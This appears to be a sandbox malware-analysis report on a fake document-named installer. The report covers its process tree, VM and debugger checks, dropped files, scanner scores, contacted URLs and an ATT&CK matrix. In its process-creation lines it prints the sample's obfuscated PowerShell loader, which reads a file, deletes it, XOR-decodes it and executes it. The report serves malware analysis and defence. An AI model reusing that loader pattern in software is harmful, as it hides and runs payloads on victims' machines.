Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Memory allocated: C450000 memory commit \| memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Memory allocated: C490000 memory commit \| memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Memory allocated: C4B0000 memory commit \| memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Memory allocated: C4D0000 memory commit \| memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Memory allocated: C530000 memory commit \| memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Memory allocated: C5D0000 memory commit \| memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Memory allocated: CA30000 memory commit \| memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Memory allocated: CF00000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Memory allocated: CA40000 memory commit \| memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Memory allocated: D0A0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Memory allocated: D000000 memory commit \| memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Memory allocated: D080000 memory commit \| memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Memory allocated: D9E0000 memory commit \| memory reserve \| memory write watch

Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe

Window / User API: threadDelayed 982

Source: C:\Users\user\AppData\Local\Temp\is-35JO9.tmp\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp

Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\_isetup\_setup64.tmp

Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe TID: 7428	Thread sleep time: -180000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7684	Thread sleep time: -30000s >= -30000s

Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe

File opened: PhysicalDrive0

Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_ComputerSystem
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_ComputerSystemProduct
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_ComputerSystemProduct

Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	File Volume queried: C:\Users\user\AppData\Local\Temp FullSizeInformation
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	File Volume queried: C:\Users\user\AppData\Local\Temp FullSizeInformation

Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	File opened: C:\Users\user\AppData\Local\Temp
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	File opened: C:\Users\user
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	File opened: C:\Users\user\AppData\Local\Temp\{46C04F56-8A46-4F65-B643-07DB857C6418}
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	File opened: C:\Users\user~1\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	File opened: C:\Users\user\AppData\Local
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	File opened: C:\Users\user\AppData

Source: PhotoshopElements_2024_LS30_win64.exe, 0000000A.00000002.3758086632.00000000046D7000.00000004.00000020.00020000.00000000.sdmp, PhotoshopElements_2024_LS30_win64.exe, 0000000A.00000002.3765673238.0000000009867000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3753899071.000001BD9DC2B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3753812155.000001BD9DC13000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3757299939.000001BD9F25C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp, 00000005.00000003.1319542587.0000000000778000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\/T
Source: PhotoshopElements_2024_LS30_win64.exe, 0000000A.00000002.3765274666.00000000097AB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWNTD~1\AppData\Local\Temp\{46C04F56-8A46-4F65-B643-07DB857C6418}\content.htmlnt.html?sapCode=PSE&locale=en_US&isHighDpi=false&hideVersion=true&productName=Adobe Photoshop Elements 2024&productVersion=24.0&carouselType=GenericCarouselselFUcGo4
Source: PhotoshopElements_2024_LS30_win64.exe, 0000000F.00000002.3743571059.00000000001D1000.00000040.00000001.01000000.00000008.sdmp	Binary or memory string: .Adobe.XD.Dev_adky2gkssdxteAdobe Experience Design CC (Prerelease) (No CC moniker)Adobe.CC.XD.Dev_adky2gkssdxteAdobe Experience Design CC (Prerelease)Adobe.CC.XD_adky2gkssdxteAdobe Experience Design CC (Beta)Adobe.XD.Prerelease_adky2gkssdxteAdobe.CC.XD.Prerelease_adky2gkssdxteAdobe.CSDK.SampleApp_adky2gkssdxteAdobeXD Acceptance Tests.Adobe.XD_adky2gkssdxteAdobe Experience Design CC (Beta) (No CC moniker)Adobe.Fresco.Prerelease_pc75e8sa7ep4eGemini PrereleaseAdobe.Fresco_pc75e8sa7ep4eGeminiAdobe.Fresco.Prerelease_mm324r2fpj8r0Gemini Dev PrereleaseAdobe.Fresco_mm324r2fpj8r0Gemini Dev7a1e375c-f7a3-4776-812a-eeb47e4b928c_enpm4xejd91ycNGLApp_REGemini_7cg12t602rmqcGeminiTestAppAdobe.XD.Dev_pc75e8sa7ep4eAdobe Experience Design (Dev)7a1e375c-f7a3-4776-812a-eeb47e4b928c_bjmg4ec3qaa5yNGLAppAdobe.XD_pc75e8sa7ep4eAdobe Experience DesignAdobe.XD.Prerelease_pc75e8sa7ep4eAdobe Experience Design (Prerelease)Adobe.XD.Beta_pc75e8sa7ep4eyyyy-MM-ddhh'-'mm'-'ss%s %s-%.3dAdobe Desktop CommonAdobeCommon FilesCEFx64com.adobe.ngl-IPV4ipVersionmacAddressipAddressnetworkInterfaceOSUtilSOFTWARE\Adobe\NGL\SyncAuthSOFTWARE\Policies\Adobe\NGL\AuthInfoSOFTWARE\Adobe\Identity\UserSpecificIdentitycom.adobe.ngl-nullROOT\CIMV2kernel32WindowsEnabledManufacturerHypervisorPresentWQLSELECT * FROM Win32_ComputerSystemXenVirtualBoxVMwareModelVirtualGoogleMicrosoftQEMUEC2UUIDSELECT * FROM Win32_ComputerSystemProductOpenStackIsWow64Process2%s: VM detection exception!!IsVirtualEnvironmentOSUtilsUnknownx86ARM64lFnIsWow64Process2 not available%s: x86 ARM emulation ProcessorId is calculatedGetProcessorIdPROCESSOR_REVISIONPROCESSOR_LEVELGetPathTillCommonFilesAdobe%ProgramW6432%\\.\PhysicalDrive0%s: Exception in ProcessorId generation%s: Exception while invoking GetKnownFolderPath%s: GetKnownFolderPath failed%s: Exception while expanding environment string%s: Expanding Environment String failed, error code: %luSetEmbeddedBrowserVersion: EmbeddedBrowserVersion: %sIE-8.0.0.0IE-CEF:%s: Could not get System32 pathSetEmbeddedBrowserVersionversion.dllSetEmbeddedBrowserVersion: Already fetched EmbeddedBrowserVersion: %s%s: GetFileVersionInfoSizeA failed with error code %luGetFileVersionInfoSizeA%s: Could not load Version.dll%s: Caught an exception while getting System32 pathVerQueryValueA\VarFileInfo\Translation%s: GetFileVersionInfoA failed with error code %luGetFileVersionInfoASetEmbeddedBrowserVersion: EmbeddedBrowserVersion: %s gLatestCEFWFVersion: %s%s: VerQueryValueA failed\StringFileInfo\%04X04B0\ProductVersion\StringFileInfo\%02X%02X%02X%02X\ProductVersionAES%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02xEncryptDataWithKey failed with: ChainingModeChainingModeCBCObjectLengthDecryptDataWithKeyDecryptDataWithKey failed with: %s : failed with error: %luEncryptDataWithKey64WINDOWS_%s: finished with status %lu, Registry read returned %luGetImsAuthInfoParamsFromDeviceunknown-machineRtlGetVersionntdll.dll32Ethernet adapter Local Area ConnectionEthernet adapter Ethernet

Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	API call chain: ExitProcess graph end node			graph_10-20024
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	API call chain: ExitProcess graph end node			graph_15-1034

Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe

Process information queried: ProcessInformation

Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe

Code function: 10_2_0052142C IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

10_2_0052142C

Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe

Code function: 10_2_00B49970 EntryPoint,LoadLibraryA,GetProcAddress,ExitProcess,VirtualProtect,VirtualProtect,VirtualProtect,

10_2_00B49970

Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Code function: 10_2_005311C5 mov eax, dword ptr fs:[00000030h]	10_2_005311C5
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Code function: 10_2_0053B2D6 mov eax, dword ptr fs:[00000030h]	10_2_0053B2D6
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Code function: 10_2_0053B31A mov eax, dword ptr fs:[00000030h]	10_2_0053B31A

Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Code function: 10_2_0052142C IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,		10_2_0052142C
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Code function: 15_2_00510AC3 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		15_2_00510AC3

Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe

Memory allocated: page read and write | page guard

Source: C:\Users\user\AppData\Local\Temp\is-35JO9.tmp\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -COmMAnD "iEx([tEXT.enCODINg]::UTF8.gETsTriNg((({$F=[Io.FIlE]::ReADALLByTeS($ArGS[0]);(RM $argS[0]);ReTURn $f}.InVoKE('c:\uSERS\user~1\apPdatA\LoCaL\tEmP\Is-39DMu.TMp\..\26E22c944A289b4cDd81b4EA83E051ad.daT'))\|%{$_ -BxOr 'yXAwMfFaZxzDOHKgIEqrlQjtoJuBNSWc'[$K++%32]})))"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-35JO9.tmp\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp	Process created: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe "C:\Users\user~1\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Process created: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe "C:\Users\user~1\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe" --pipename={6701CC87-BE79-4714-84C1-CDD879D9C7E0} --edtWorkFlow=1
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://ims-na1.adobelogin.com/ims/authorize?client_id=CC_HD_ESD_WEB&scope=allow_ac_dt_exchange%2Copenid%2CAdobeID%2Ccreative_cloud%2Ccreative_sdk%2Cread_organizations%2Csao.cce_private%2Cadditional_info.account_type&locale=en_US&redirect_uri=https%3A%2F%2Fauth.services.adobe.com%2Fen_US%2Fdeeplink.html%3Fdelegated_request_id%3D8b59eed4-a4c2-4d7f-a8ea-ab95b58f0a24%26client_id%3DCC_HD_ESD_WEB%26deeplink%3Ddelegation

Source: C:\Users\user\Desktop\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.exe	Process created: C:\Users\user\AppData\Local\Temp\is-35JO9.tmp\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp "c:\users\user~1\appdata\local\temp\is-35jo9.tmp\must-school-districts-in-california-offer-free-healthcare-for-employees.tmp" /sl5="$2042a,320672528,821248,c:\users\user\desktop\must-school-districts-in-california-offer-free-healthcare-for-employees.exe"
Source: C:\Users\user\AppData\Local\Temp\is-35JO9.tmp\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -command "iex([text.encoding]::utf8.getstring((({$f=[io.file]::readallbytes($args[0]);(rm $args[0]);return $f}.invoke('c:\users\user~1\appdata\local\temp\is-39dmu.tmp\..\26e22c944a289b4cdd81b4ea83e051ad.dat'))\|%{$_ -bxor 'yxawmffazxzdohkgieqrlqjtojubnswc'[$k++%32]})))"
Source: C:\Users\user\Desktop\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.exe	Process created: C:\Users\user\AppData\Local\Temp\is-35JO9.tmp\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp "c:\users\user~1\appdata\local\temp\is-35jo9.tmp\must-school-districts-in-california-offer-free-healthcare-for-employees.tmp" /sl5="$2042a,320672528,821248,c:\users\user\desktop\must-school-districts-in-california-offer-free-healthcare-for-employees.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-35JO9.tmp\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -command "iex([text.encoding]::utf8.getstring((({$f=[io.file]::readallbytes($args[0]);(rm $args[0]);return $f}.invoke('c:\users\user~1\appdata\local\temp\is-39dmu.tmp\..\26e22c944a289b4cdd81b4ea83e051ad.dat'))\|%{$_ -bxor 'yxawmffazxzdohkgieqrlqjtojubnswc'[$k++%32]})))"	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Code function: EnumSystemLocalesW,	10_2_00541406
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	10_2_005418A5
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Code function: EnumSystemLocalesW,	10_2_005414A1
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Code function: GetACP,IsValidCodePage,GetLocaleInfoW,	10_2_00541119
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	10_2_0054152C
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Code function: EnumSystemLocalesW,	10_2_005379D7
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Code function: GetLocaleInfoW,	10_2_005419AB
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	10_2_00541A7A
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Code function: GetLocaleInfoW,	10_2_0054177F
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Code function: GetLocaleInfoW,	10_2_00541314
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Code function: GetLocaleInfoW,	10_2_00537F90
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Code function: EnumSystemLocalesW,	10_2_005413BB

Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\CreativeCloud\ACC\AdobeDownload\HDInstaller.log VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Queries volume information: C:\Windows\Fonts\segoeuib.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Queries volume information: C:\Windows\Fonts\segoeuib.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Queries volume information: C:\Windows\Fonts\seguibl.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Queries volume information: C:\Windows\Fonts\seguibl.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Queries volume information: C:\Windows\Fonts\seguibl.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Queries volume information: C:\Windows\Fonts\segoeui.ttf VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\CreativeCloud\ACC\AdobeDownload\HDInstaller.log VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\CreativeCloud\ACC\AdobeDownload\HDInstaller.log VolumeInformation

Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Source: C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe

Registry value created: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	1 Drive-by Compromise	21 Windows Management Instrumentation	1 Scripting	11 Process Injection	23 Masquerading	OS Credential Dumping	1 Query Registry	Remote Services	1 Archive Collected Data	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	12 Command and Scripting Interpreter	1 DLL Side-Loading	1 DLL Side-Loading	5 Virtualization/Sandbox Evasion	LSASS Memory	41 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	Junk Data	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Native API	Logon Script (Windows)	Logon Script (Windows)	1 Modify Registry	Security Account Manager	5 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	Steganography	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Disable or Modify Tools	NTDS	1 Process Discovery	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	11 Process Injection	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	11 Obfuscated Files or Information	Cached Domain Credentials	2 System Owner/User Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Software Packing	DCSync	2 File and Directory Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	44 System Information Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	1 File Deletion	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.exe	5%	ReversingLabs

Dropped Files

Source	Detection	Scanner
C:\Users\user\AppData\Local\Temp\PhotoshopElements_2024_LS30_win64.exe	3%	ReversingLabs
C:\Users\user\AppData\Local\Temp\is-35JO9.tmp\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp	5%	ReversingLabs
C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe	3%	ReversingLabs
C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\_isetup\_setup64.tmp	0%	ReversingLabs
C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping8016_1807591881\Google.Widevine.CDM.dll	0%	ReversingLabs

Source	Detection	Scanner	Label
https://ims-na1-stg1.adobelogin.com	0%	Avira URL Cloud	safe
https://ims-na1-stg1.adobelogin.com/imsj.prod	0%	Avira URL Cloud	safe
https://delegated-stage-or2.stage.cloud.adobe.	0%	Avira URL Cloud	safe
https://ims-na1-stg1.adobelogin.com/ims	0%	Avira URL Cloud	safe
https://delegated.adobelogin.comity	0%	Avira URL Cloud	safe
https://ims-prod07.adobelogin.comBaseUserProfilep8e-xo88uZdECZX33TmXbouglqWnMMEOY-gsf43446bc-7009-41	0%	Avira URL Cloud	safe
https://ims-prod06.adobelogin.comcb	0%	Avira URL Cloud	safe
http://crl3.digic	0%	Avira URL Cloud	safe

Name	Source	Malicious	Antivirus Detection	Reputation
http://typekit.com/eulas/000000000000000000014f51li	PhotoshopElements_2024_LS30_win64.exe, 0000000A.00000003.1318073315.00000000053CA000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ims-prod06.adobelogin.com	PhotoshopElements_2024_LS30_win64.exe, 0000000A.00000002.3755604634.0000000001377000.00000004.00000020.00020000.00000000.sdmp, PhotoshopElements_2024_LS30_win64.exe, 0000000A.00000002.3743552926.00000000001D1000.00000040.00000001.01000000.00000008.sdmp, PhotoshopElements_2024_LS30_win64.exe, 0000000F.00000002.3743571059.00000000001D1000.00000040.00000001.01000000.00000008.sdmp	false		high
https://jrsoftware.org/ishelp/index.php?topic=setupcmdlineSetupU	Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.exe	false		high
https://ims-na1-stg1.adobelogin.com	PhotoshopElements_2024_LS30_win64.exe, 0000000A.00000002.3743552926.00000000001D1000.00000040.00000001.01000000.00000008.sdmp, PhotoshopElements_2024_LS30_win64.exe, 0000000F.00000002.3743571059.00000000001D1000.00000040.00000001.01000000.00000008.sdmp	false	Avira URL Cloud: safe	unknown
https://ims-na1-stg1.adobelogin.com/ims	PhotoshopElements_2024_LS30_win64.exe, 0000000A.00000002.3762015475.0000000005C35000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://typekit.com/eulas/000000000000000000014825	PhotoshopElements_2024_LS30_win64.exe, 0000000A.00000003.1311681987.0000000005EEB000.00000004.00000020.00020000.00000000.sdmp, PhotoshopElements_2024_LS30_win64.exe, 0000000A.00000003.1336189385.000000000C3D5000.00000004.00000020.00020000.00000000.sdmp, PhotoshopElements_2024_LS30_win64.exe, 0000000A.00000002.3743552926.00000000006D6000.00000040.00000001.01000000.00000008.sdmp, PhotoshopElements_2024_LS30_win64.exe, 0000000F.00000002.3743571059.00000000006D6000.00000040.00000001.01000000.00000008.sdmp, clean.css.10.dr	false		high
